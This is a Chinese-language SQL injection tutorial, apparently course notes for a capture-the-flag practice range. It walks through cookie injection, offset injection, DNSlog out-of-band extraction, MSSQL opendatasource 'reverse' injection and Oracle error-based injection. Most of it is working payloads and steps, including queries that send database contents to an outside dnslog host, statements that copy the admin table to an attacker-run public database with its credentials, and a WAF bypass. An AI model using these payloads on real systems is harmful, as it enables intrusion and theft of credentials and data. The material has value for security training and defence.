2.1 Access——cookie注入

2.1.1 cookie注入简介

1.什么是cookie?

Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。

2.为什么Cookie和注入擦出了爱情的火花?(原理部分)

在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)

很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法

例如:

php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参

注:php 5.4以上版本就不会接受Cookie传参了。

*注:一般情况下,asp的站点都存在cookie注入。

3.数据库的种类有很多

如mysql,acess,mssql,oracle。

4.cookie作用

正常访问网站走的是http协议

http协议其实无状态无连接。=>他不知道你是谁

这里我们就通过cookie来确认身份,Cookie 身份证 通过一串数字来代替身份 好像身份证

但是cookie本身是不安全的,没有绝对的安全,因为用户的体验性和安全是需要平衡的。高度安全每当访问一次页面的能录一次账号密码,这样用户体验是极差的。

2.1.2 Cookie的应用场景

超全局变量:$_GET $_POST $_REQUEST

$_REQUEST 在Php 低于5.4版本是会接受cookie传参的。(不包括5.4)

如果说开发用了$_REQUEST[]来接受参数?然后我们的POST和GET传参被Waf拦截了怎么办?

那么也许Waf没有对Cookie进行检测,我们尝试用Cookie进行传参,然后不就可以绕过检测机制!!

2.1.3突破拦截思路

当我们注入别拦截的时候我们方向解决:

寻找不拦截的地方【GET POST REQUEST COOKIE等传参方式 head注入等】

寻找拦截规则,为什么拦截,然后绕过。

2.1.4 Cookie注入的条件

1.首先作为注入的一种,cookie注入应该满足注入的两个条件。

2.该网站会获取cookie传参并和原有sql语句拼接并传入数据库。

那么我们呢如何检测条件2呢?

我们将url栏里的get传参id=171删掉,并在浏览器设置cookie的地方,添加上id=171的传参,然后刷新界面,发现返回正常,则我们可以判断该网站接受了cookie传参并写入了数据库。

我原本查看该条新闻使用的是get传参,而现在使用cookie传参,还能看见这条新闻。所以可以断定满足条件2.

由此可见cookie注入和其他注入,也没有什么区别,只是传参方式不同。

文档截图

2.1.5设置cookie方式

一、burp抓包修改cookie

burp抓包修改cookie,在原有的cookie上先打一个分号,然后空格再添加上我们的id传参。

文档截图
二、插件修改cookie

方式一样,删除url栏里的get传参,在cookie新添加一个传参。刷新界面返回正常。

文档截图
三、浏览器控制台cookie

我们可以浏览器控制台修改上传的cookie。

文档截图

我们选择Console,打开浏览器的控制台,输入设置Js的语句就可以了。

2.1.6 判断是否存在Cookie注入

判断有没有cookie注入,直接抓取数据包修改cookie,添加一个cookie的请求头在里面。将url传参的id值删除,然后抓数据包,在数据包里加入id传参。看页面是否返回正常,如正常,可判断出cookie传参被带入了数据库执行。

如果要进一步判断是否存在注入,当修改cookie时我们在id=171 后加入and 1=1时,要切记url传参是需要编码的。

id=171 and 1=1 => id=171+and+1%3d1(转码后)页面返回正常

id=171 and 1=2 => id=171+and+1%3d2(转码后)页面返回错误

则我们既可以判断这里存在cookie注入。

在asp中id传参高于cookie。

这里可以通过插件完成。

文档截图
文档截图

2.1.7 Cookie注入流程

Eg:document.cookie="id="+escape("171")

通过浏览器Document.cookie来设置Cookie

Cookie名字为 id ,escape是一个编码函数,这个函数会进行一次URL编码。

当我们在控制台对cookie进行操作时,应该注意先把自己加的cookie删除掉。

了解上述方法之后我们即刻由此来进行。

1.首先我们来判断界面是否存在cookie注入。

document.cookie="id="+escape("171 and 1=1")返回正常

document.cookie="id="+escape("171 and 1=2")返回错误

文档截图
文档截图

即可断定这其中存在注入。

2.然后我们即可对其进行字段数的判断

document.cookie="id="+escape("171 order by 10")

document.cookie="id="+escape("171 order by 11")

文档截图
文档截图

由上图可知当前表一共有10个字段。

然后我们进行联合查询

*进行联合查询首先想到的是输出点,系统自带库,但是不正常数据库不同的是access没有系统自带库。

MySQL MSsql Oracle都有,唯独access没有,所以这里的表名我们只能强行猜测,但好在access没有库的概念。我们可以直接猜表名。常见的我们来尝试一下admin,job,password,news..

然而access与mysql不同的是,联合查询的时候,需要进行如下的改动。需要在联合查询的后边指定表名,这是access数据库的硬性规定。

document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")

最简单的联合查询,因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名?

方法只有爆破

账号密码一般在盛行Access数据库的年代,都在admin表的username和password字段中。

注意: Cookie注入的时候一定要把url栏中GET类型的传参删除,不然优先执行GET类型传参。

Access 数据库特征没有库,就只有一个库,里面全是表,我们一般可以根据经验进行猜测表名,如:admin,user,news,job等。

4.猜表名

猜测表名的语句我们看可以如下书写。同样是在控制台下。

document.cookie="id="+escape("171 and exists (select*from 表名)")进行猜测之后,观察页面反回是否正常,如果正常则说明该表存在,返回不正常,则说明表名不存在。

插件猜测:

文档截图
文档截图

控制台猜测:

文档截图
文档截图

如果表名存在我们即可通过联合查询看数据,因为字段名是没有办法爆破的,只能强猜。

document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10 from admin”)

以此查看输出点,在通过猜测的字段名打在输出点上看数据即可

文档截图

2.1.8 Burp强行爆破表名

首先我们修改好cookie,然后刷新网页抓一个数据包,如下:

EG:document.cookie="id="+escape("171 and exists (select*from 表名)")

1)我们抓取一个数据包。将cookie的传参的表名打上变量。

2)然后点击load加载一本表名字典,一般情况下,我们加载sqlmap的自带字典即可。(sqlmap—data—txt—common-tables.txt)然后我们进行跑包即可。

这里我们标记的是只有返回正常界面才会有的单词,Batavia.

由下图可见带有标识的返回包都带有√。

文档截图

2.1.9 Burp跑包返回值筛选技巧

当我们使用burp跑包时,如果返回正常页面与错误页面返回值差异很小,那么我们将很难区分那个页面是我们想要的,那么我们可以使用burp这个筛选功能,我们选则一个返回的我们需要的界面的标识,可以是一个单词,也可以是一个html标签,总之只有我们需要的界面才有,其余不需要的界面没有的特有的标识进行筛选,然后我们在burp中进行设置的对我们的返回包进行筛选。Intruder->Options->Grep·Match找到之后,我们将匹配栏里的原有的东西点击clear删除掉,然后点击在add栏里将我们选择好的标识添加进去,然后的点击add,然后我们在进行跑包即可,然后我们会发现,在我们的众多返回包中,包含我们所特定的标识的返回包后边会被打上一个√。这样就方便我们筛选了。

2.1.10 Sqlmap跑cookie注入

SQLmap如何跑Cookie注入

sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

我们同样也可以用sqlmap来跑数据包

文档截图

首先我们抓到一个数据包

然后将上边的url传参id删除,然后再cookie后加入传参,并在其末尾打上星号*,然后用sqlmap跑即可。

有很多需要登录才访问的站点都用抓包-r来跑,因为里面含有cookie。

id | userid | title | phone | email | logins | mobile | user | content | username | question | password | homepage |

+-----+--------+----------------------+--------+--------------------+--------+--------+--------+------------------+----------+----------+------------------+----------+

| 171 | 158 | ?V?g:h?N]?Y4|sb?QK | 432432 | test20092@sohu.com | 1 | NULL | admin | <P><FONT size=2> | test2009 | test2009 | bb3b664b30b98838 | http:// |id | userid | title | phone | email | logins | mobile | user | content | username | question | password | homepage |

+-----+--------+----------------------+--------+--------------------+--------+--------+--------+------------------+----------+----------+------------------+----------+

| 171 | 158 | ?V?g:h?N]?Y4|sb?QK | 432432 | test20092@sohu.com | 1 | NULL | admin | <P><FONT size=2> | test2009 | test2009 | bb3b664b30b98838 | http:// |

文档截图
文档截图

===============================================================================

Base64编码规则:

1.3个字符变4个字符

2.每76字符加一个换行符

3.结尾 两个等号 ==

Base64_decode(str):php语言用于base64解密字符串的函数

Encode加密

将注入语句加密后在进行执行base64加密。

当用sqlmap探测base64编码后的注入时直接抓包跑包是没有用的,我们需要在探测过程中加入base64编码脚本。如下

Eg:sqlmap.py -r 1.txt --level 3 --batch --tamper base64encode.py

===============================================================================

2.2偏移注入

2.2.1 偏移注入的场景

SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。比如access数据库没有系统自带库。我们就没法获取数据库信息了。

其实别的数据库也可以使用,偏移注入,只不过其他数据库一般有系统自带库的情况下我们不用使用偏移注入。

当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询直接那张表里面的数据。

Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,例如:H5scker_Passwd 之类的那就无可奈何了.

Sqlmap跑很多站都会认为是盲注.不要依赖工具.

文档截图

无法查询表名->强行爆破

不知道字段名-> 偏移注入->从人不知道表名也可以获得数据

2.2.2 偏移注入前置技能

在进行便偏移入之前我们首先来了解下table_name.*。

table_name.* 实际上这个词语是我自己发明的,实际上是指表名.*

那么这个星号*代表是什么?

*是通配符,是这里所有的信息。

文档截图
文档截图

Select*from admin=>select admin.*admin

相当于*代替了admin表里所有的字段

这里切记,from后边只能接表名。

*=>password, username, id等字段

2.1.3 偏移注入步骤

1.判断注入点

2.order by 判断字段数

3.判断表名

4.联合查询

5.获取表中列数(知道存在几列以及输出点)

6.开始偏移注入

2.1.3.1案例讲解

我们这里对偏移注入做一个小的案例讲解。

2.1.3.1.1 输出点与字段的关系

如admin表有7个字段。

Admin=> a,b,c,d,e,f,g

Union select 1,2,3,4,5,6,7,8,9,10 from admin

如果这么写:

Union select 1,2,3,admin.* from admin

<==>Union select 1,2,3,a,b,c,d,e,f,g from admin

这里我们假设

输出点:456 ==>abc

当我们的语句:

Union select 1,2,admin.*,10 from admin

<==>Union select 1,2,a,b,c,d,e,f,g,10 from admin

这样我们就得到了bcd的数据。

这样我们偏移到最大。

即:Union select admin.*,8,9,10 from admin

<==>Union select a,b,c,d,e,f,g,8,9,10 from admin

如上述语句,若输出点为456的话,那么我们也只能查询到f,g字段的数据我们无论怎样偏移也无法查询到。

所以如果当前表字段越多,输出点越多,偏移查询越方便。

2.1.3.1.2 偏移注入字段数注意

Select *from admin where id=1 union select 1,2,3

Union 不显示重复数据,而union all 显示重复数据

联合查询前后字段数一定要相同

Order by 的字段数一定要大于想要查询表(如admin表)的字段数。

例:

Select*from news where id=105 union select 1,2,3 from admin前面的绿色语句未开发确定好的,我们要求红绿两色的数据字段数相同。

前面的字段数要比后边的大,然后我们可以通过admin*,1,2这样来填补字段使其和前边的字段数相同。由此可以判断出admin.*的字段数。

2.1.3.2 靶场实战

1.判断是否存在cookie注入,发现这里接收cookie传参,并且写入数据库,在cookie传参ID=105页面返回正常。

(控制台写入cookie/插件写入)

文档截图
文档截图
文档截图
文档截图

2.判断当前表的字段数

文档截图

我们以可以通过在控制台键入这类语句。

document.cookie="id="+escape("105 order by 1")

来判断该注入表的字段数,并通过联合查询来判断想要查询表的字段数,比如当前表为news,它有26个字段。

3.猜测表名

我们想要判断admin表(表名可以有爆破获取),和cookie注入的爆破方法相同。

文档截图

4.联合查询找输出点

之后我们进行联合查询,找输出点,并判断我们想要查询表的字段数。

document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.*”)

document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10,admin.*”)

像这样我们反复刷新知道页面返回正常,如上可以推断出,admin表共有16个字段,

因为news表一共有26字段,前面还有10个数字,所以admin.*代替了16个字段。

然后我们可以看出3,5,7为输出点,我们则可以将admin.*移动到7的位置,因为7是输出点我们就可以看到admin的第一个字段的第一个数据是甚么。但是我们要切记一定要保证联合查询的字段和前面注入表的字段数保持一致,因此我们在admin.*前边删除的字段要在admin.*后边补上,以此来保证字段数相同。

注*:因为admin表一共存在16个字段,且注入表news一共有26个字段,而只有3,5,7,25为输出点,我们admin表里的8到14字段是无法通过偏移注入得到的所以偏移注入存在一定的局限性。在这里我们要注意并不是所有的输出点都回在网页界面上显现出来,有的输出点是隐含在控制要界面的,所以我们在查看输出点的时候要记得点开审查元素,查看一下控制台。

有多少个字段,当然我们这样判断的前提是当前表news的字段数一定要大于等于我们想要查看的表admin,我们就像下面这样判断。

文档截图
文档截图

5.通过偏移找到flag。

文档截图
文档截图
2.1.3.3 输出点图解
文档截图

如上图所示黑色news表,黑框中的两个框为admin字段在news字段中的平移效果。黑色的竖线带代表着输出点,可见无论怎么平移红色框中总也有一部分蓝色区域是不会输出的,这就是8到14字段,因为从后向前平移前七个都可以被输出,从前往后平移后两个也都可以被输出。

2.1.3.4 偏移注入排序问题

Access数据库,admin表中第二条数据,可以便宜注入出来吗,毕竟limit是mysql中的函数,但是我们的思路是一样的通过排序来限制输出。

document.cookie=”id=”+escape(“171 union select news.* from news order by 1 desc”)

根据第一个字段 降序

document.cookie=”id=”+escape(“171 union select top 1 news.* from news order by 1 desc”)

取几个输出。

2.3 Dns注入

2.3.1 DNSLOG的使用场景

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。

Dns注入的原理

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录

此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

可以说间接的将盲注转化为显错注入。

2.3.2 DNSLOG的函数解析

在学习dns注入之前先学习一个mysql函数

LOAD_FILE() 读取文件的函数

读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

文档截图

这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=

当我们修改配置文件之后,应该重启phpstudy即可使用load_file().

一般当我们遇到盲注,很麻烦,我们一般会思考可不可以转化为显错注入,我们便用到了select load_file()去请求远程共享文件。

如果是显错注入的话我们也可以尝试在输出点上写入要读取的文件有可能也可以读出来。

Eg:union select 1,select load_file(写入路径即可),3 -- qwe

我们先来看一个例子,当我们访问baidu.com

我们实则是去访问了百度的域名,域名是由dns服务器解析的,这种访问是有日志的。

我们这里可以利用日志

Mysql 是很灵活的数据库语言。

2.3.3 域名知多少

域名:

顶级[花钱且备案]

二级[可以注册无数个]

三级

如存在一网站a.com

当有人访问了//b.a.com 记录了访问了b.a.com

比如我们要访问的网站数据库名叫moshe

(select database())=’xx’我们通过此语句将子查询的结果拼接到一个顶级域名上成为一个二级域名xx.a.com,我们就会去访问这个拼接了一个数据库名的二级域名,然后我们去访问域名解析的日志,就可以看到子查询所查询到的数据库名。

2.3.4 Unc路径

我们通过此方式进行注入,我们这里不可以直接走http协议,这里支持的是一个远程文件共享,但是我么如何实现一个远程文件共享呢?

这里我们就要引入一个知识点叫做UNC路径。

UNC路径 通用命名规则,也称通用命名规范、通用命名约定。

什么是UNC路径?

UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径,

格式为:\\servername\sharename\directory\filename。

例如softer计算机的名为it168的共享文件夹,用UNC表示就是\\softer\it168。

我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。

反斜杠\与斜杠/ :

Windows系统中,正斜杠/表示除法,用来进行整除运算;反斜杠\用来表示目录。

在Unix系统中,/表示目录;\表示跳脱字符将特殊字符变成一般字符(如enter,$,空格等)

强烈建议像以下这么写

//servername/sharename

Unc路径实则就是windows上的smb服务,我们控制其去请求一些数据。

Linux上默认时不能使用dns注入的,因为linux上没有smb服务。

2.3.5 Dns_log平台 实际应用

当我们访问我们申请好的域名时,即可通过下列语句完成注入。

Select load_file(concat('//',(select database()),'.61k3p2.dnslog.cn/abs'));

*Dns注入时强烈建议写正斜杠,如果写反斜杠需要写4个,因为转义的关系所以我们在进行dns注入的时候尽量都写正斜杠。

文档截图
文档截图
文档截图

由上图可见我们通过将查询语句拼接入域名当中,我们在日志中便可以看到我当前的数据库名cscms。

2.3.6 靶场实战

1.判断是否存在注入

首先我们来判断这里是否存在sql注入。传参id=1 并拼接入and 1=1

文档截图

当我们传参遇到上述界面说明被安全狗拦截了,我们要尝试绕过。

这里我们可以通过apache解析漏洞,我们通过白名单机制进行绕过http://59.63.200.79:8014/index3.php/1.txt。

*注:安全问题的本质都是信任问题,txt传参一般是不会对网站造成影响,因为txt文件不是可执行文件,狗认为我们访问的时txt文件,所以不会拦截,当然这个版本的狗比较老,2019年的,现在的狗不会这么简单即被绕过。很多的apache中间件

文档截图

我们发现这里我们拼接入index3.php/1.txt这里成功绕过了狗。界面返回正常了

根据apache解析特性,他遇到了认不到或者是没有的就会往前解析,有些网站设置过不能这样解析,有些网站就默认是可以这样解析的,我们这就属于可以这样解析的~我们可以依靠这个绕过安全狗。

然后我们在这里发现使用and 1=1 / and 1=2进行sql注入判断并没有效果,于是我们尝试实用睡眠的函数进行尝试。发现界面确实沉睡了5s。所以我们可以断定给这里存在sql注入。

文档截图
2.查询库名

这里既然是盲注我们就应用dns_log平台直接查询库名了。

Eg:index3.php/1.txt?id=1 and (select load_file(concat('//',(select database()),'.hr52ez.dnslog.cn/acc')))

文档截图
文档截图

由上图可见,我们访问dnslog平台即可查看到通过域名带出来的数据库名。

即:mangzhu

3.查询表名

当我们查询数据库一个字段有可能返回好几行数据,他们是不能被拼接到域名中的,我们一定要使用limit来进行查看。

/index3.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema='mangzhu' limit 1,1),'.hr52ez.dnslog.cn/acc')))

文档截图
4.查询字段名

index3.php/1.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.hr52ez.dnslog.cn/acc')))

文档截图
5.查询flag

http://59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 2,1),'.hr52ez.dnslog.cn/acc')))

文档截图

经过查询发现flag在admin表中的password字段中。

http://59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat('//',(select password from admin limit 0,1),'.hr52ez.dnslog.cn/acc')))

文档截图

2.4 MSSSQL注入--反弹注入

2.4.1 反弹注入使用场景

有很多情况,网站明明存在注入点,注入工具却猜解的非常慢,又或者错误信息被关闭,无法返回注入结果等,遇到这种疑难杂症我们一般就要采用一种骚姿势了,于是我们可以使用反弹注入,而反弹注入需要函数opendatasource支持。

2.4.2 反弹注入核心

A库==>攻击者

B库==>被攻击者

让B库把查询出来的数据写入攻击者的A库。

2.4.3 反弹注入条件

目标站点将你想要的数据插入到你的数据库里。

别人能否访问到【是否有公网ip】(由反弹注入核心可知,我们要将查出来的数据插入A库,那么首先我们需要有一个搭在公网上的数据库)

虚拟主机【快速搭建网站的工具】自带:ftp 域名 数据库

https://my.gearhost.com/Account

在该网站上我们能搭建一个在公网上的数据库。在注册的时候需要发邮件,这里作为渗透测试人员我们建议使用网上的10分钟邮箱,不泄露个人信息。

建议使用网站

Bccto.me=>十分钟匿名邮箱

可见这样我们就搭建了一个在公网的数据库。

文档截图

搭建好了我们用工具进行连接,当我们的图标变黄说名我们连接成功。

文档截图

2.4.4 Mssql显错注入

2.4.4.1 mssql数据库结构

1.sysobjects 查询系统表 (xtype='U'【类型为U表示用户创建】)

select*from sysobjects;

文档截图

这里我们发现在这里有一张表名为jiang,它的类型为U,这里其他的表的类型都不同,只有这张表类型为U。

这里类型用xtype指代xtype=’U’代表类型为U,表示用户建立的表。

文档截图

下面我们来单独查找这张表。

2.查询用户所建表

SELECT*FROM sysobjects where xtype='U'

文档截图

3.同样我们只查询表名。

SELECT name FROM sysobjects where xtype='U'

文档截图

4.查询字段名的系统自带表

select*from syscolumns

文档截图

然而从这里我们可以看出,我们看不到U字样,因为字段所在表里,我们不靠类型索引,这里我们查找字段依靠的是字段的id号可见我们之前建立的在jiang表里的字段id都是一样的。

文档截图

5.查询用户建表的字段,指定id。

select*from syscolumns where id=885578193

文档截图
2.4.4.2 mssql显错注入流程

在学习反弹注入之前,我们先来了解一下mssql的显错注入。

=======================================================

注*:

我这里还是联合查询为例子

首先猜字段

然后联合查询,记住要写UNION ALL

然后猜输出点要使用NULL去填充

我们不能再用1,2,3来尝试,因为如果类型不对也会报错,所以我们用null代替。

Union all 表示联合查询所有,如果不加all会出现一些重复结果,将不会被显示。

注释只有 --+ (不要想着#)然后联合查询,记住要写UNION ALL

sysobjects 查询系统表 (xtype='U')

syscolumns 字段 (id= ) 指定sysobjects库中表名对应id

首先来判断是否存在注入点。

And 1=2 报错了,可见存在注入点。

文档截图
文档截图

判断当前表的字段数。

当我们order by 4 的时候见到页面报错了,可见这里有3个字段。

文档截图
文档截图

联合查询,找输出点。这里我们使用null来进行填充。 我们不能再用1,2,3来尝试,因为如果类型不对也会报错,所以我们用null代替。

Union all 表示联合查询所有,如果不加all会出现一些重复结果,将不会被显示。

/?id=1' Union all select null,null,null -- qwe(这里all可加可不加)

文档截图
文档截图

我们检测显错点时,我们将null依次改成字符串类型,看看能在哪个位置输出,则那个位置就是输出点。如下

Eg:/?id=1' union all select null,'ddd’,null --qwe

Eg:/?id=1' union select 5,'ddd','aaa' --qwe

*注:写字符串的时候一定要带上’’,否则不识别。

由下图可见我们第一个字段上是数字类型,二三字段是字符串。

文档截图
文档截图

这里如果类型不对时会报错的。这里我们在第二个字段的地方打入一个数字,这里本应该是一个字符串类型,可以看到他报错了。

文档截图

将相应的系统自带表放到输出点上,即可查询到对应的U,的表名。

Eg:http://59.63.200.79:8015/

?id=1' union select null,name,null from sysobjects where xtype='U' -- weq

文档截图

我们将id打在变量类型为数字类型的位置上,便可以查看到相应表名的id。(U类型指定用户创建的一类表,而id指定的是特定的某张表。)

Eg:http://59.63.200.79:8015/

?id=1' union select id,name,null from sysobjects where xtype='U' -- weq

我们可以查看到admin表的id为1977058079

文档截图

然后我们指定id,去查看该表内的所有字段名

Eg:http://59.63.200.79:8015/

?id=1' union select id,name,null from syscolumns where id=1977058079 -- weq

文档截图

然后这里我们指定字段名去查看数据。

Eg:http://59.63.200.79:8015/

?id=1' union all select null,passwd,token from admin -- weq

文档截图

这样我们便查询到了flag。

2.4.5 反弹注入靶场测试

要进行反弹注入首先要了解大杀器,反弹语句。
1.1反弹操作语句Eg:

insert into opendatasource

('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq')

.DB_14A5E44_zkaq.dbo.temp select * from admin --

1.2反弹语句注解

打开数据库连接

连接组件/方式 链接的地址 端口 账号 密码 数据库名

.DB_14A5E44_zkaq.dbo.temp

链接地址.库.dbo(表示权限).表

select * from admin --

查询本地admin表的数据

1.3反弹过程

会将查询的数据插入到远程服务器

'server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq

中的

.DB_14A5E44_zkaq.dbo.temp这个库的这个表中。

1.4反弹注入条件

字段数条件

我想要查询的数据的字段数要与我在公网上搭的数据库的要插入的表的字段数一样才能保证数据成功插入。

堆叠注入

一般反弹注入的点必须要满足堆叠注入,可以执行多行sql语句上传,能用分号将两个语句分隔开, ;能起效果并能执行后面的语句

判断堆叠

那么如何判断堆叠注入呢,我们可以尝试使用mssql的延时函数。

WAITFOR DELAY '0:0:3';

这里我们用分号分割两条语句,发现页面在转圈,说明这里两条语句都执行成功了,则我们可以插入多条语句。

http://59.63.200.79:8015/

?id=1' ;select*from sysobjects where id=1 WAITFOR DELAY '0:0:3'-- weq

文档截图
反弹实操(存在mssql注入+堆叠注入才能进行反弹注入)

我们可以通过这样一条语句,将admin表中的数据插入我们在远程数据库上搭建的数据库中,之后进行查看。

http://59.63.200.79:8015

/?id=1'

;insert into opendatasource

('sqloledb','server=den1.mssql8.gear.host,1433;uid=jiang;pwd=Wf21TCa!A0s_;database=jiang')

.jiang.dbo.temp

select * from admin -- qwe

通过修改这条语句来将数据一条一条插入我们的数据库中。

文档截图
文档截图

如果我们不知道我们想要插入的表有几个字段,我们可以下选择两个字段进行插入。

这里我们选择了系统表的的两个字段id,name进行插入,由此可见,该数据库的所有id和姓名我们都知道了。

http://59.63.200.79:8015

/?id=1'

;insert into opendatasource

('sqloledb','server=den1.mssql8.gear.host,1433;uid=jiang;pwd=Wf21TCa!A0s_;database=jiang')

.jiang.dbo.tao

select id,name from sysobjects -- qwe

文档截图
文档截图

2.5 Oracle报错注入

2.5.1 显错注入

2.5.1.1 注入函数解析(一)
1.dual函数

Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY

那么要它有什么用妮?

它实际上是为了满足查询语句的结构而产生

比如你想查询你的用户名 select user from Dual

调用系统函数:(获得随机值:select dbms_random.random from dual)

还能做加减法:select 9+1 from dual

………………

还有各种功能自己去挖掘吧

Dual 为了满足语法严谨。

像mysql我们可以写入语句select 1,2,3

但是oracle数据库,我们不能那样写,我们要 select.. from 表,这样语法严谨。

作为渗透测试人员我们最想了解系统表。

Oracle 数据库强调用户而不强调库的概念。(弱化了库的概念)

2.5.1.2 oracle数据库实操(库/表/基本语法)

select * from all_tables 查询出所有的表

select * from user_tables 查询出当前用户的表

select*from all_tab_columns 查询出所有的字段

select*from user_tab_columns 查询出当前用户的字段

select*from v$version 查版本

任意查询

虚表的使用

文档截图
文档截图
文档截图
*2.查询所有表

Eg:select * from all_tables 查询出所有的表

文档截图
*3.查询当前用户表/ 查询当前库里的表

Eg:select * from user_tables 查询出当前用户的表

文档截图
*4.查询所有表的字段

Eg:select*from all_tab_columns

文档截图
*5.查询当前用户字段

Eg:select*from user_tab_columns

文档截图
*6.查询版本

select*from v$version

文档截图
7.筛选出当前用户表

select*from all_tables where owner='ORACLE1'

文档截图
2.5.1.3 注入函数解析(二)

all_tables系统自带库/所有表名

user_tables当前表名

user_tab_columns当前用户下所有字段名

*rownum函数

1.1函数简介

该函数为oracle数据库特有的,用来实现排序功能的函数。

rownum=1 (限制查询返回的总行数为一条)

对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。

可见这里NF从第三字段变成了第一字段。可见这个每个字段的顺序是会变的,会根据查询结果的变化而变化。

文档截图
文档截图

1.2函数应用

我们这里的where rownum=1就相当于mysql里的limit,但是oracle里没有limit。

我们可以用rownum<3来要求他输出2条数据

Eg:select*from user_tab_columns where rownum=1

文档截图
  1. 但是这种方法只能显示一条语句,如果显示两条不能用where rownum=2,而是用where rownum<3
  2. Eg:select*from user_tab_columns where rownum<3

    文档截图

    3.

    Eg:where rownum<=3

    where rownum<4

    可显示3条

    文档截图
    1. 但是一般情况下我们sql注入的时候只能显示一条数据,我们不能显示多条,那我们如何来控制第一条数据的显示呢?
    2. 比如这里我们我们通过查看看到第一条数据是id,但是如果我们不想看id字段,想看id的下一个字段怎么实现呢?

      这里我们就要引入一个方法column_name<>'ID'

      其实主要方法还是在<>,前面的字段名可以随意换。

      这样我们便实现了limit的功能。

      Eg:select*from user_tab_columns where rownum=1

      文档截图

      Eg:select*from user_tab_columns where rownum=1 and column_name<>'ID'

      文档截图

      2.5.2 Oracle靶场

      2.5.2.1 Oracle显错注入
      1. 首先我们来判断是否存在注入。and 1=1 / and 1=2,
      2. 可见是存在sql注入的。

        文档截图
        文档截图

        然后我们来判断当前表的字段数。

        我们可以判断出当前表的字段数是5。

        文档截图
        文档截图

        然后我们来进行联合查询寻找输出点。

        文档截图
        文档截图

        但是我们发现我们在四个输出点添加入字符串全部都报了错,显示数据类型不匹配。正常的话我们显错注入到这一步基本就结束了,无法进行下去了。

        但是这里我们通过外部oracle接口知道了一个字段的数据类型,所以我们可以尝试一下继续进行显错注入。我们将第三个字段通过to__nchar()函数来进行数据类型转化,发现界面返回正常了,可见我们转码成功了。

        文档截图

        然后这里我们将第一行数据报错,可见便显示出我们填充的数据了。

        文档截图

        然后我们在这里打入表名便可以查看到一个admin表名。

        Eg:http://59.63.200.79:8808/?id=-1 union select null,null,to_nchar(TABLE_NAME),null from user_tables

        文档截图

        如果我们想查看别的表那么我们就要通过’<>’号来筛选。

        Eg:http://59.63.200.79:8808/?id=-1 union select null,null,to_nchar(TABLE_NAME),null from user_tables where TABLE_NAME<>'ADMIN'

        文档截图

        我们可以通过在where 语句后面再次添加and进行继续筛选,可以看到更多的数据。

        http://59.63.200.79:8808/?id=-1 union select null,null,to_nchar(TABLE_NAME),null from user_tables where TABLE_NAME<>'ADMIN' and TABLE_NAME<>'MD5'

        文档截图

        这里我们还有另外一种方法,进行排序,就是利用子查询的方式。

        Eg:http://59.63.200.79:8808/?id=-1 union select null,null,to_nchar(table_name),null from (select rownum r,table_name from user_tables) where r=1

        这里我们使用子查询可以理解为实现将所有表名先形成一张表,然后在这张表里进行排序查询,这里的r表示将rownum重名命,然后我们可以通过控制r来进行控制输出。

        文档截图
        文档截图

        10.同样的道理我们也可以使用此来查询字段名,可以在在子查询中用where 筛选,筛选出某个表的字段。

        http://59.63.200.79:8808/

        ?id=-1 union select null,null,to_nchar(column_name),null from (select rownum r,column_name from user_tab_columns where table_name=’ADMIN’) where r=3

        文档截图
        文档截图
        1. 查询数据,这里我们用如下语句可以查询到admin表中,UPASS字段处的数据。我们便可查看到flag。
        2. http://59.63.200.79:8808/

          ?id=-1 union select null,null,to_nchar(UPASS),null from (select rownum r,UPASS from admin) where r=1

          文档截图
          2.5.2.2 Oracle报错注入
          1.报错函数

          CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

          去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

          函数应用

